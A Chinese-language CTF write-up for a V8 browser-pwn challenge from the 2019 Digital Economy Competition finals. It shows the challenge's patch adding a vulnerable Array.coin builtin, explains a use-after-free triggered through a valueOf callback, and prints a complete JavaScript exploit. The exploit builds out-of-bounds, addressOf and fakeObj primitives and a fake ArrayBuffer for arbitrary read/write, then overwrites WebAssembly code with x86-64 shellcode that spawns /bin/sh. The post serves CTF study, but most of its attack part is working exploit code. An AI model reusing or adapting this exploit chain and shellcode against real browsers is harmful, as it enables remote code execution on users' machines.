2019-数字经济大赛决赛-Browser

2019-数字经济大赛决赛-Browser

捡一下一年前入门的v8,这道题目是19年比赛线下的题目,调完oob之后就没再研究v8了,拿题目回顾一下基础的browser-pwn的解题思路。

漏洞分析

看下patch文件,patch为Array类型增加了一个coin函数,该函数接受两个参数,分别为length和value,当array_length大于37时,设置arr[37]=value->Number(),这里乍一看没什么问题,因为判断了数组的长度,但是注意这里的elements是之前取出的局部变量FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());,这里的问题在于执行ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, length, Object::ToNumber(isolate, args.at<Object>(1)));获取length的数值时,ToNumber会调用对象的回调函数。这一点我们可以跟进这个方法查看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index e6ab965a7e..9e5eb73c34 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -362,6 +362,36 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
}
} // namespace

+// Vulnerability is here
+// You can't use this vulnerability in Debug Build :)
+BUILTIN(ArrayCoin) {
+ uint32_t len = args.length();
+ if (len != 3) {
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+
+ Handle<Object> value;
+ Handle<Object> length;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, length, Object::ToNumber(isolate, args.at<Object>(1)));
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(2)));
+
+ uint32_t array_length = static_cast<uint32_t>(array->length().Number());
+ if(37 < array_length){
+ elements.set(37, value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ else{
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
+
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
Handle<Object> receiver = args.receiver();
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 3412edb89d..1837771098 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -367,6 +367,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayCoin) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index f5fa8f19fe..03a7b601aa 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1701,6 +1701,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayCoin:
+ return Type::Receiver();

// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index e7542dcd6b..059b54731b 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1663,6 +1663,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
false);
SimpleInstallFunction(isolate_, proto, "copyWithin",
Builtins::kArrayPrototypeCopyWithin, 2, false);
+ SimpleInstallFunction(isolate_, proto, "coin",
+ Builtins::kArrayCoin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
SimpleInstallFunction(isolate_, proto, "find",

可以看到,当输入为数字时直接返回该数字,否则,调用ConvertToNumberOrNumeric,在该函数进一步判断后如果仍无法确定则调用ToPrimitive函数,在该函数中使用GetMethod获得回调函数,最后Execution::Call(isolate, exotic_to_prim, receiver, 1, &hint_string),Object);调用该函数。结合patch,可以看到elements被取出之后我们调用了ToNumber,假如我们在回调函数中修改arr的大小,就会调用GC重新分配数组的空间,而之前局部变量保存的elements指向了释放的空间,因此存在UAF。假使我们最开始给一个arr_length合适(<37)的Array,则可以通过越界写Array后面的ArrayBuffer的size,从而得到一个oob数组,通过越界读可以得到double_arr的map和obj_arr的map,从而可以构造addressOf和fakeObj原语。

再往后伪造ArraryBuffer借助Dataview实现任意地址读写,写wasm的shellcode最后替换成我们谈计算器或者get shell的shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
// static
MaybeHandle<Object> Object::ToNumber(Isolate* isolate, Handle<Object> input) {
if (input->IsNumber()) return input; // Shortcut.
return ConvertToNumberOrNumeric(isolate, input, Conversion::kToNumber);
}
// static
MaybeHandle<Object> Object::ConvertToNumberOrNumeric(Isolate* isolate,
Handle<Object> input,
Conversion mode) {
while (true) {
if (input->IsNumber()) {
return input;
}
if (input->IsString()) {
return String::ToNumber(isolate, Handle<String>::cast(input));
}
if (input->IsOddball()) {
return Oddball::ToNumber(isolate, Handle<Oddball>::cast(input));
}
if (input->IsSymbol()) {
THROW_NEW_ERROR(isolate, NewTypeError(MessageTemplate::kSymbolToNumber),
Object);
}
if (input->IsBigInt()) {
if (mode == Conversion::kToNumeric) return input;
DCHECK_EQ(mode, Conversion::kToNumber);
THROW_NEW_ERROR(isolate, NewTypeError(MessageTemplate::kBigIntToNumber),
Object);
}
ASSIGN_RETURN_ON_EXCEPTION(
isolate, input,
JSReceiver::ToPrimitive(Handle<JSReceiver>::cast(input),
ToPrimitiveHint::kNumber),
Object);
}
}
// static
MaybeHandle<Object> JSReceiver::ToPrimitive(Handle<JSReceiver> receiver,
ToPrimitiveHint hint) {
Isolate* const isolate = receiver->GetIsolate();
Handle<Object> exotic_to_prim;
ASSIGN_RETURN_ON_EXCEPTION(
isolate, exotic_to_prim,
Object::GetMethod(receiver, isolate->factory()->to_primitive_symbol()),
Object);
if (!exotic_to_prim->IsUndefined(isolate)) {
Handle<Object> hint_string =
isolate->factory()->ToPrimitiveHintString(hint);
Handle<Object> result;
ASSIGN_RETURN_ON_EXCEPTION(
isolate, result,
Execution::Call(isolate, exotic_to_prim, receiver, 1, &hint_string),
Object);
if (result->IsPrimitive()) return result;
THROW_NEW_ERROR(isolate,
NewTypeError(MessageTemplate::kCannotConvertToPrimitive),
Object);
}
return OrdinaryToPrimitive(receiver, (hint == ToPrimitiveHint::kString)
? OrdinaryToPrimitiveHint::kString
: OrdinaryToPrimitiveHint::kNumber);
}

漏洞利用

因为一年没调v8了,搭环境花了一天,在Ubuntu 18.04/20.04还是失败了,还是用回之前Ubuntu 16.04搭的环境.

debug没有加patch,没有job调试比较麻烦,为了了解内存布局我是同一个exp两边对比调试,确定好偏移后我们最终构造另一个Length为30的Array,element对应的37的位置为下一个Arrary的length位

因为16.04的gnome被我搞崩了所以没法弹计算器了:(,这里贴一下最后执行shellcode的图。

exp如下,有一个很关键的问题是addressOf不能执行两次,第二次会crash,没有深入了解过v8因此不清楚原因,写一个新函数调用即可leak,很神奇。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
// create a dataview
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);

var val = {
valueOf:function(){
array.length = 0x100;
return 0xffffffff;
}
}

function p64f(high,low){
dv.setUint32(0,high,true);
dv.setUint32(4,low,true);
return dv.getFloat64(0,true);
}

function i2f64(val){
dv.setBigUint64(0,BigInt(val),true);
return dv.getFloat64(0,true);
}

function u64f(val){
dv.setFloat64(0,val,true);
return dv.getBigUint64(0,true);
}

function hex(i)
{
return i.toString(16).padStart(16, "0");
}

var array = new Array(30);
var arb_double_addr = [1.1,2.2];
var obj = {};
var obj_arr = [obj];
array[0] = 0x123;
//%DebugPrint(array);
//%DebugPrint(arb_double_addr);
//%DebugPrint(obj_arr);
//%SystemBreak();
array.coin(0x123,val);
// now we have a oob arr
// get double array's map
var double_map = arb_double_addr[2];
console.log("[+]get the map of double arr : " + double_map.toString());
// get obj array's map
var obj_map = arb_double_addr[0x10];
console.log("[+]get the map of obj arr : " + hex(u64f(obj_map)));
// addressOf and obj function
//

function addressOf(obj1){
obj_arr[0] = obj1;
arb_double_addr[0x10] = double_map;
var addr = u64f(obj_arr[0]) - 1n;
arb_double_addr[0x10] = obj_map;
return addr;
}

function addressOf2(obj1){
obj_arr[0] = obj1;
arb_double_addr[0x10] = double_map;
var addr = u64f(obj_arr[0]) - 1n;
arb_double_addr[0x10] = obj_map;
return addr;
}

function fakeObj(addr){
arb_double_addr[0x10] = double_map;
obj_arr[0] = i2f64(addr+1n);
arb_double_addr[0x10] = obj_map;
var fake_obj = obj_arr[0];
return fake_obj;
}

const wasmCode = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]);
const shellcode = new Uint32Array([186,114176,46071808,3087007744,41,2303198479,3091735556,487129090,16777343,608471368,1153910792,4132,2370306048,1208493172,3122936971,16,10936,1208291072,1210334347,50887,565706752,251658240,1015760901,3334948900,1,8632,1208291072,1210334347,181959,565706752,251658240,800606213,795765090,1207986291,1210320009,1210334349,50887,3343384576,194,3913728,84869120]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;
var fake = [0.0,1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9];
var fake_addr = addressOf(fake);
var wasm_shellcode_ptr_addr = addressOf2(wasmInstance) + 0x88n;
var element_addr = fake_addr - 0x50n
console.log("fake arr addr : " + hex(fake_addr));
console.log("wasm shellcode ptr addr : " + hex(wasm_shellcode_ptr_addr));

// fake ArrayBuf's map
fake[0] = i2f64(0n);
fake[1] = i2f64(0x1900042317080808n);
fake[2] = i2f64(0x82003ffn);
fake[3] = i2f64(0n);

// fake ArrayBuffer

fake[4] = i2f64(element_addr+1n);
fake[5] = i2f64(0n);
fake[6] = i2f64(0n);
fake[7] = i2f64(0xffffffff);
fake[8] = i2f64(wasm_shellcode_ptr_addr);//backing_store
fake[9] = i2f64(0x2n);

var arb_arrry_buf = fakeObj(element_addr+0x20n);
var adv = new DataView(arb_arrry_buf);
var wasm_shellcode_addr = adv.getBigUint64(0,true);
console.log("wasm shellcode addr : " + hex(wasm_shellcode_addr));

fake[8] = i2f64(wasm_shellcode_addr);
// replace sc
let sc = [
72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5
];
for (var i=0;i<sc.length;i++) {
//adv.setUint32(i*4,shellcode[i],true);
adv.setUint8(i,sc[i],true);
}

%SystemBreak();
func();

//p64f(1,2);
//i2f64(1);
//u64f(1.1);
//%DebugPrint(arb_double_addr);
//%DebugPrint(obj_arr);
//%DebugPrint(buf);

console.log("xmzyshypnc");

参考

OOB类型的v8逃逸总结

数字经济线下-Browser

您的支持将鼓励我继续创作